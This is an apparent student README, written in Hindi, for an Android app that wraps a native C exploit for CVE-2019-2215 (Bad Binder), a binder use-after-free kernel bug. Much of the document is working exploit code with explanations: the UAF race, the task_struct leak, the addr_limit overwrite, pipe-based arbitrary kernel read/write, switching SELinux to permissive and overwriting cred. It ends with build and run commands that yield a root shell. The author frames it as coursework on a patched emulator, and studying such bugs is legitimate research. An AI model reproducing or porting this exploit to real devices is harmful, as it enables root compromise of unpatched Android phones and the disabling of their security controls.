
डेमो CVE-2019-2215 (Bad Binder) Android Q के लिए
यह रिपॉजिटरी CVE-2019-2215 (Bad Binder) भेद्यता पर शोध और Kotlin/Jetpack Compose के साथ Android के लिए एक कार्यशील प्रोटोटाइप एक्सप्लॉइट लिखने का एक छोटा परीक्षण प्रोजेक्ट है।
README में मैं:
रिपॉजिटरी में एक GitHub Actions वर्कफ़्लो कॉन्फ़िगर किया गया है, जो प्रत्येक push/PR पर ./gradlew assembleDebug कमांड के साथ प्रोजेक्ट बनाता है और तैयार badbinder-debug.apk को एक आर्टिफैक्ट के रूप में प्रकाशित करता है।
इसे इस प्रकार डाउनलोड किया जा सकता है:
badbinder-debug-apk संग्रह लें।यह सुविधा के लिए किया गया है, यदि कोई स्थानीय वातावरण सेट किए बिना बस एप्लिकेशन का परीक्षण करना चाहता है।
CVE-2019-2215 Android कर्नेल की Binder IPC उपप्रणाली में एक Use-After-Free (UAF) है।
सरलीकृत:
struct binder_thread है जो Binder कॉल करने वाले थ्रेड का वर्णन करती है;waitqueue) में बनी रहती है;remove_wait_queue में पहले से मुक्त मेमोरी के साथ काम करने का प्रयास करता है, जो एक क्लासिक UAF परिदृश्य खोलता है;अधिक विस्तृत सैद्धांतिक विश्लेषण मैंने सामग्री के अनुसार किया:
असाइनमेंट के अनुसार Android 10.0 (Q) x86_64 इमेज वाले AVD का उपयोग करने की सिफारिश की गई है।
मैंने निम्नलिखित किया:
/dev/binder डिवाइस मौजूद है।adb shell
ls -l /dev/binder
इस स्तर पर मुझे एक अप्रिय तथ्य का सामना करना पड़ा:
वर्तमान में आधुनिक AVD इमेज पहले से पैच किए गए कर्नेल के साथ आती हैं, जिसमें CVE-2019-2215 बंद कर दी गई है। अर्थात्, आधुनिक आधिकारिक एमुलेटर पर वास्तव में root प्राप्त करना संभव नहीं होगा — एक्सप्लॉइट बाद के चरणों में विफल हो जाता है या बस विशेषाधिकार वृद्धि नहीं देता।
अंततः मैं AVD का उपयोग एक्सप्लॉइट के तर्क को पुन: प्रस्तुत करने के लिए प्रशिक्षण उपकरण के रूप में करता हूँ:
addr_limit को अधिलेखित करने के प्रयास का निरीक्षण करता हूँ,यह एक महत्वपूर्ण बारीकियाँ है: नीचे दिया गया सभी कोड और रिपोर्ट शैक्षिक हैं, 'लड़ाकू' नहीं।
मैंने एक छोटा Android एप्लिकेशन बनाया:
मुख्य चरण:
Android Studio में एक सामान्य प्रोजेक्ट बनाया (Kotlin, न्यूनतम Android 10 समर्थन)।
NDK और CMake को जोड़ा।
एक्सप्लॉइट के साथ एक मूल फ़ाइल जोड़ी (वही cve-2019-2215.c जिसमें फ़ंक्शन leak_task_struct, overwrite_addr_limit, आदि हैं)।
CMakeLists.txt में libcve-2019-2215.so का निर्माण जोड़ा।
MainActivity में:
init {
System.loadLibrary("cve-2019-2215")
}
external fun runNativeExploit(): String
external fun setNativeLogger(logger: NativeLogger)
Kotlin पक्ष पर ExploitViewModel बनाया, जो NativeLogger इंटरफ़ेस को लागू करता है और सभी संदेशों को StateFlow<List<String>> में संग्रहीत करता है। UI इस प्रवाह की सदस्यता लेता है और 'टर्मिनल' में लॉग प्रदर्शित करता है।
गतिविधि शुरू होने पर मैं setNativeLogger(viewModel) कॉल करता हूँ ताकि मूल कोड को वह ऑब्जेक्ट मिल जाए जिसमें स्ट्रिंग भेजी जा सकें।
एप्लिकेशन बनाएँ और स्थापित करें:
./gradlew installDebug
AVD और स्वयं एप्लिकेशन लॉन्च करें।
स्क्रीन पर मुझे एक 'टर्मिनल' और एक RUN EXPLOIT बटन दिखाई देता है।
दबाने पर:
runNativeExploit() कॉल करता है।वास्तविक कमजोर कर्नेल पर मैं अंत में कुछ इस प्रकार देखने की उम्मीद करूँगा:
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...
वर्तमान Android 10 एमुलेटर पर, निश्चित रूप से, ऐसा नहीं होता है, लेकिन बाकी सब कुछ — task_struct लीक, addr_limit को अधिलेखित करने का प्रयास, cred और kernel_base की गणना — एक 'परिदृश्य' के रूप में काम करता है, जो असाइनमेंट के लिए आवश्यक था।
नीचे विशिष्ट C फ़ंक्शन से जुड़ा एक्सप्लॉइट का तार्किक आरेख है।
उच्च-स्तरीय योजना इस प्रकार है:
struct binder_thread ऑब्जेक्ट पर UAF बनाएँ और इसका उपयोग करके अपनी प्रक्रिया के task_struct का पता लीक करें (leak_task_struct)।task_struct में addr_limit फ़ील्ड को अधिलेखित करें (overwrite_addr_limit) — इससे आगे copy_to_user / copy_from_user के लिए user-space और kernel-space पतों के बीच की बाधा हट जाती है।arb_read / arb_write)।cred और कर्नेल बेस का पता लगाएँ (verifying), फिर:
समानांतर में, मैंने JNI लॉगर को एकीकृत किया ताकि ये सभी चरण सीधे UI में दिखाई दें।
task_struct पता लीक (leak_task_struct)मुख्य फ़ंक्शन:
void leak_task_struct() {
android_log("[*] Starting leak_task_struct...");
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
assert(ret >= 0);
...
}
फ़ंक्शन क्या करता है:
थ्रेड को CPU 0 पर फिक्स करता है (sched_setaffinity), ताकि कर्नेल आवंटक का व्यवहार अधिक पूर्वानुमेय हो। यह UAF शोषण की स्थिरता में सुधार करता है।
/dev/binder खोलता है, epoll डिस्क्रिप्टर बनाता है:
fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
Binder डिस्क्रिप्टर epoll में पंजीकृत होता है:
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
struct iovec iov_buffers[IOVEC_N] की एक सरणी तैयार करता है और मेमोरी आवंटित करता है:
spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
यहाँ यह महत्वपूर्ण है कि पते के निचले 32 बिट शून्य हों:
if (((long) spinner & 0xffffffff) != 0) {
android_log("[!] mmap returned wrong address!");
return;
}
यह शोषण लेखों की तकनीक से मेल खाता है: आगे कर्नेल हमारे डेटा के एक हिस्से की व्याख्या पॉइंटर्स वाली संरचनाओं के रूप में करता है, और ऐसा 'अच्छी तरह से संरेखित' पता दुरुपयोग को सरल करता है।
फिर iov_buffers[0xa] और फ़ील्ड इस प्रकार भरे जाते हैं कि UAF के समय कर्नेल मेमोरी के एक टुकड़े को पाइप में कॉपी कर देता है जहाँ का पॉइंटर होता है।
परिणाम: मेरे पास कर्नेल में task_struct का पता है, जो आगे के चरणों के लिए महत्वपूर्ण है।
addr_limit को अधिलेखित करना (overwrite_addr_limit)task_struct में addr_limit यह निर्धारित करता है कि प्रक्रिया सिस्टम कॉल में user-space पॉइंटर्स के रूप में कौन से पते पास कर सकती है। यदि इसे लगभग अधिकतम मान पर अधिलेखित कर दिया जाए, तो कर्नेल अपने एड्रेस स्पेस में user-space पतों और पतों के बीच अंतर करना बंद कर देता है — और कई पहली नज़र में सुरक्षित copy_(to|from)_user संचालन कर्नेल के मनमाने पढ़ने/लिखने में बदल जाते हैं।
फ़ंक्शन:
void overwrite_addr_limit() {
android_log("[*] Starting overwrite_addr_limit...");
...
}
बहुत समान पैटर्न पर काम करता है:
फिर से CPU संबद्धता सेट करता हूँ, /dev/binder खोलता हूँ, epoll बनाता हूँ।
iov_buffers तैयार करता हूँ, लेकिन इस बार योजना अलग है:
iov_buffers[0xa].iov_base = spinner;
iov_buffers[0xa].iov_len = 0x1;
iov_buffers[0xb].iov_base = read_buffer0;
iov_buffers[0xb].iov_len = 0x8 * 5;
iov_buffers[0xc].iov_base = read_buffer0;
iov_buffers[0xc].iov_len = 0x8;
पाइप के बजाय socketpair(AF_UNIX, SOCK_STREAM, ...) का उपयोग करता हूँ:
int socket[2];
ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
write(socket[1], "A", 1);
recvmsg के लिए msghdr संरचना तैयार करता हूँ:
struct msghdr msg;
msg.msg_iov = iov_buffers;
msg.msg_iovlen = IOVEC_N;
...
चाइल्ड प्रोसेस में ( fork() के बाद) फिर से UAF रेस शुरू होती है:
if (!fork()) {
...
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
long data1234[] = {1, 0x13371337, 0x28,
task_struct + ADDR_LIMIT_OFFSET, 0x8};
ret = write(socket[1], data1234, 0x28);
data1234[0] = data1234[1] = data1234[2] = data1234[3]
= 0xfffffffffffffffe;
ret = write(socket[1], data1234, 0x8);
...
}
arb_read, arb_write, verifying)addr_limit को अधिलेखित करने के बाद, मैं सामान्य पढ़ने/लिखने के संचालन को कर्नेल पतों को पढ़ने और लिखने की क्षमता में बदलने के लिए पाइप का उपयोग करता हूँ।
arb_read / arb_writeunsigned long arb_read(unsigned long addr) {
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
unsigned long data = 0;
write(pipe_fd[1], (void *)&addr, 8);
read(pipe_fd[0], &data, 8);
return data;
}
इसी प्रकार arb_write प्रतिलिपि की दिशा बदलता है।
फ़ंक्शन verifying():
void verifying() {
android_log("[*] Starting verification...");
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
write(pipe_fd[1], (void *) task_struct, 0x1000);
read(pipe_fd[0], buf, 0x1000);
assert(getpid() == *(int *) (buf + PID_OFFSET));
android_log("[!] Arbitrary rw verified with PID :D");
cred = *(unsigned long *) (buf + CRED_OFFSET);
kernel_leak = *(unsigned long *) (buf + 0x70);
kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}
यहाँ मैं:
task_struct की सामग्री पढ़ता हूँ;PID_OFFSET द्वारा सुनिश्चित करता हूँ कि यह वास्तव में मेरी संरचना है;cred पर पॉइंटर और कर्नेल से पता लीक (kernel_leak) निकालता हूँ;kernel_base की गणना करता हूँ।runNativeExploit में अंतिम भाग:
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
selinux_enforcing के पते की गणना करता हूँ और इसे शून्य/'अनुमेय' स्थिति पर सेट करता हूँ।आगे — cred को अधिलेखित करना:
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);
मैं सचमुच cred के क्षमता फ़ील्ड और कुछ अन्य फ़ील्ड में अधिकतम मान भरता हूँ ताकि प्रक्रिया को अधिकारों का पूरा सेट मिल सके।
अंतिम जाँच:
if (getuid() == 0) {
android_log("[+] Root escalation successful!");
} else {
android_log("[!] Root escalation failed!");
}
वास्तविक कमजोर कर्नेल पर मैं यहाँ uid=0 की उम्मीद करूँगा, पैच की गई इमेज पर — तार्किक रूप से वृद्धि अक्षम होगी।
सब कुछ वास्तविक समय में देखने के लिए, मैंने एक मध्यवर्ती परत जोड़ी:
JNI_OnLoad JavaVM* और मुख्य प्रक्रिया के PID को सहेजता है;setNativeLogger एक Kotlin ऑब्जेक्ट स्वीकार करता है जो onLog(String) विधि लागू करता है और इसे GlobalRef के रूप में सहेजता है;android_log/android_log_hex logcat में लिखते हैं और send_to_ui को कॉल करते हैं, जो Kotlin में स्ट्रिंग पहुँचाता है, जहाँ ExploitViewModel इसे लेता है और Compose-'टर्मिनल' में प्रदर्शित करता है।महत्वपूर्ण बात यह है कि send_to_ui चाइल्ड प्रक्रियाओं को PID द्वारा फ़िल्टर करता है — fork() के बाद exec() के बिना JNI को प्रक्रिया से कॉल करना असुरक्षित है।
मुझे इस तथ्य का सामना करना पड़ा कि वर्तमान में Android 10 के कोई आधिकारिक AVD इमेज अपैच कर्नेल के साथ उपलब्ध नहीं हैं, जिनमें CVE-2019-2215 अभी भी मौजूद है।
'लड़ाकू' root प्राप्त करने के बजाय, मैंने इस पर ध्यान केंद्रित किया:
यदि वांछित हो, तो इस कोड को पुराने अपैच कर्नेल वाले वास्तविक डिवाइस पर पोर्ट किया जा सकता है, लेकिन यह असाइनमेंट के दायरे से बाहर है।
मुझे स्पष्ट रूप से सेट करना पड़ा:
ADDR_LIMIT_OFFSET, PID_OFFSET, CRED_OFFSET;kernel_leak और selinux_enforcing के लिए ऑफ़सेट;kernel_base की गणना के लिए स्थिरांक।मैंने जानबूझकर इन मानों की खोज को स्वचालित नहीं किया ताकि प्रोजेक्ट का आकार न बढ़े। रिपोर्ट में मैं इस तथ्य पर भरोसा करता हूँ कि यह कर्नेल के एक विशिष्ट संस्करण के लिए एक शैक्षिक उदाहरण है, न कि एक सार्वभौमिक एक्सप्लॉइट।
fork(), epoll_ctl, BINDER_THREAD_EXIT और विभिन्न टाइमिंग का उपयोग एक खदान क्षेत्र है। मुझे पता चला कि बिना:
sched_setaffinity,sleep,assert केएक्सप्लॉइट अत्यंत अस्थिर हो जाता है।
मैंने धीरे-धीरे अनुक्रम को डीबग किया ताकि कमजोर कॉन्फ़िगरेशन पर यह पूर्वानुमेय हो, और पैच किए गए कॉन्फ़िगरेशन पर अंतिम चरणों में सही ढंग से 'विफल' हो।
fork()मुझे यह भी सामना करना पड़ा कि चाइल्ड प्रक्रिया से सीधे JVM में लॉग करने के प्रयास अजीब व्यवहार का कारण बनते हैं।
मुझे JNI नियमों को याद करना पड़ा और केवल मुख्य प्रक्रिया से JVM के साथ संवाद करने के लिए PID जाँच जोड़नी पड़ी।
समझौता: कुछ संदेश केवल logcat में दिखाई देते हैं, और UI में केवल वही प्रदर्शित होता है जो पैरेंट से आया है। यह मेरे लिए स्वीकार्य था, क्योंकि असाइनमेंट के ढाँचे में मुख्य नियंत्रण बिंदु महत्वपूर्ण हैं, न कि हर डीबग प्रिंट।
बोनस के रूप में, असाइनमेंट के अधिक रचनात्मक कार्यान्वयन के लिए, मैंने विश्लेषण के लिए सुविधाजनक एक इंटरफ़ेस बनाने का निर्णय लिया:
[+], [*], [!], [C]) को पढ़ने में आसानी के लिए विभिन्न रंगों से हाइलाइट किया जाता है;Success / Failed) एक अलग ब्लॉक में प्रदर्शित होता है।यह मूल कोड के काम की धारणा को बहुत सरल करता है: सूखे logcat के बजाय, मैं सब कुछ एक ही स्थान पर, सीधे एप्लिकेशन में देखता हूँ।
असाइनमेंट पर काम करने के परिणामस्वरूप, मैंने:
task_struct लीक,addr_limit को अधिलेखित करना,cred की खोज, SELinux को अक्षम करना और विशेषाधिकार वृद्धि का प्रयास।यह प्रोजेक्ट कॉम्पैक्ट निकला, लेकिन संक्षेप में यह एक वास्तविक कर्नेल भेद्यता के पूरे जीवन चक्र को दर्शाता है: सैद्धांतिक विवरण और लेख पढ़ने से लेकर व्यावहारिक कार्यान्वयन और एक जीवित Android एप्लिकेशन में एकीकरण तक।
निर्देशिका cve-2019-2215 में एक Makefile है जो आपको एक मूल बाइनरी (x86_64) बनाने और इसे ADB के माध्यम से सीधे AVD में चलाने की अनुमति देता है। यदि aarch64 संस्करण की आवश्यकता है, तो इसे अलग से बनाया जा सकता है।
cd cve-2019-2215
make
adb shell
cd /sdcard/cve-2019-2215
chmod +x cve-2019-2215
./cve-2019-2215
id
uid=0(root) gid=0(root) groups=0(root)
selinux_enforcing = 0cred फ़ील्ड को अधिलेखित करें (runNativeExploit)।iov_buffers[0xb]task_structएक पाइप बनाता है और उसका बफर आकार 0x1000 सेट करता है:
int pipe_fd[2];
ret = pipe(pipe_fd);
fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
इसके बाद — क्लासिक UAF रेस। मैं एक चाइल्ड प्रोसेस शुरू करता हूँ:
if (!fork()) {
android_log("\t[C] Long sleep to ensure accuracy...");
sleep(1);
android_log("\t[*] Triggering UAF");
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
android_log("\t[C] Removing useless data from pipe...");
ret = read(pipe_fd[0], buf, 0x1000);
...
_exit(0);
}
epoll_ctl(..., EPOLL_CTL_DEL, ...) कर्नेल में संबंधित binder_thread को मुक्त करने की ओर ले जाता है, लेकिन यह अभी भी प्रतीक्षा लेखांकन संरचना में मौजूद है — यह UAF बिंदु है।पैरेंट प्रोसेस में मैं कॉल करता हूँ:
ioctl(fd, BINDER_THREAD_EXIT, NULL); // binder_thread को मुक्त करना
ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
इस स्तर पर, UAF के कारण, writev पहले से मुक्त मेमोरी को iovec संरचनाओं के रूप में उपयोग करता है और, प्रभावी रूप से, उसी मेमोरी क्षेत्र की पुनर्व्याख्या करता है जहाँ पहले binder_thread था, लेकिन अब पॉइंटर्स/लंबाई के एक सेट के रूप में। साइड इफेक्ट के भाग के रूप में, कर्नेल मेमोरी का एक टुकड़ा हमारे पाइप में कॉपी हो जाता है।
अंत में, मैं पाइप से पढ़ता हूँ:
read(pipe_fd[0], buf, 0x1000);
task_struct = *(unsigned long *)(buf + 0xe8);
android_log_hex("[+] task_struct found", task_struct);
ऑफ़सेट 0xe8 कर्नेल के विशिष्ट संस्करण के लिए चुना गया है — यह वह स्थान है जहाँ लीक हुए मेमोरी ब्लॉक के अंदर मेरी प्रक्रिया के task_struct का पॉइंटर स्थित है।
पैरेंट, पहले की तरह, binder_thread को मुक्त करता है और recvmsg कॉल करता है:
ioctl(fd, BINDER_THREAD_EXIT, NULL);
ret = recvmsg(socket[0], &msg, MSG_WAITALL);
UAF और संरचनाओं के चतुर प्रतिस्थापन के कारण, कर्नेल अंततः task_struct + ADDR_LIMIT_OFFSET को user-बफर का पता समझता है और भेजी गई संरचना की सामग्री को वहाँ कॉपी करता है (हमारा मान 0xfffffffffffffffe), जिससे task_struct में addr_limit अधिलेखित हो जाता है।
लॉग में मैं लिखता हूँ:
android_log("[!] addr_limit overwrite done.");